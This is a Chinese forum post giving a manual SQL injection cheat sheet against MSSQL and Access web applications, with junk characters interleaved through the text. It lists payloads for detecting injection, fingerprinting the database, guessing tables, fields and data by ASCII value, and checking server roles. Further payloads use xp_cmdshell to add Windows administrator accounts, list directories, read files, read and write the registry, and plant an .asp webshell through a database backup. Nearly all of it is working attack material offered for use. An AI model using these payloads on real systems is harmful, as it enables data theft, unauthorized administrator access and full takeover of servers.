手工脚本注入

admin

手工脚本注入
4 s4 ]; K6 H  T1 f, d" K( i1.判断是否有注入;and 1=1 ;and 1=2
, G% E' s; F3 Y
2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='
9 b2 E+ z& f. j
5.判断数据库系统
9 H" Z" q$ G- i) J5 w- C/ ~3 J2 A9 L;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
( u# k0 b( b- d- y( r0 T* x
6.猜数据库 ;and (select Count(*) from [数据库名])>0

9 D; w! i; N  y5 c( ^7.猜字段 ;and (select Count(字段名) from 数据库名)>0

6 W+ v' K4 t7 t2 B/ T) j8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
4 d" v! V. ?8 H& [3 p
10.测试权限结构（mssql）
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
8 Z9 G- _7 H0 r6 [& T8 `8 N0 x4 p;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
; B- ~* d2 z- s" i;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
6 g! w! J: G/ B+ x  C;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
. Z( i5 I0 z; z;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- t/ d2 w- j0 Z7 K0 @;and 1=(select IS_MEMBER('db_owner'));--
$ y! b, [- s9 ]+ J
11.添加mssql和系统的帐户
' e4 B  w7 D) T: @: t8 z0 e% ]' h;exec master.dbo.sp_addlogin username;--
5 `7 O, `/ {- J: T# B
;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; r8 F+ j4 k( }! \, {
6 S2 F1 U# E7 K. u# Q0 G;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

5 S. Y" @/ }! o;exec master.dbo.xp_cmdshell 'net user username password /add';--

6 k- x  W! }  f- v5 E;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
% B  Y) B0 @/ ]7 Y
12.(1)遍历目录
, G* s* I6 ~& J( [# R* Y4 U
7 ?7 T9 @+ Z+ C% q: z3 _;create table dirs(paths varchar(100), id int)
" e: C5 v& i5 N" n5 C;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
( |4 |& @8 p( s( Z* a( M$ [  W1 D;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
4 R" Y: \; R: m: W: Y) R8 @  u
8 p( o' K6 Y  c- S(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
8 r7 n5 M0 V  @; w9 r) o;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
: l% L! n" R8 n* f+ \;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
& {) i' |. }9 @1 x# Y
13.mssql中的存储过程

6 c9 ]- \8 D) U6 ]5 s* bxp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
7 l. D& U% U; @% v* b
xp_regread 根键,子键,键值名
; }+ P# g' h& N  y" _+ P# u$ j;exec xp_regread
& k8 \1 K' s# v& y- o'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
3 a  e' c/ @  [, |* E值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名
* t* J3 f, V: m5 [: p
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

; y9 O2 h4 c0 _xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

8 p1 j! ]+ @6 N" N- Z15.mssql内置函数
  v' B: e; Y  \5 L; k6 ~;and (select @@version)>0 获得Windows的版本号
  b- f/ p" k1 [5 z/ L) i;and user_name()='dbo' 判断当前系统的连接用户是不是sa
/ X5 j% F' W2 ]: ~3 q! A6 j;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell
' o2 X8 M7 ~  C" E& A  T
" S, s* P$ i3 L% u$ Muse model
% Z* j& M. i, d. q& K* b
9 }5 G4 p; G4 m4 Acreate table cmd(str image);

insert into cmd(str) values ('');

& d+ q3 C- ^' L6 h$ bbackup database model to disk='g:\wwwtest\l.asp';
! j8 J  V' T; u. D" R/ ?8 s
. e0 c" N0 }" Y6 q

老男孩

现在很多防注入啊，有其他注入字符码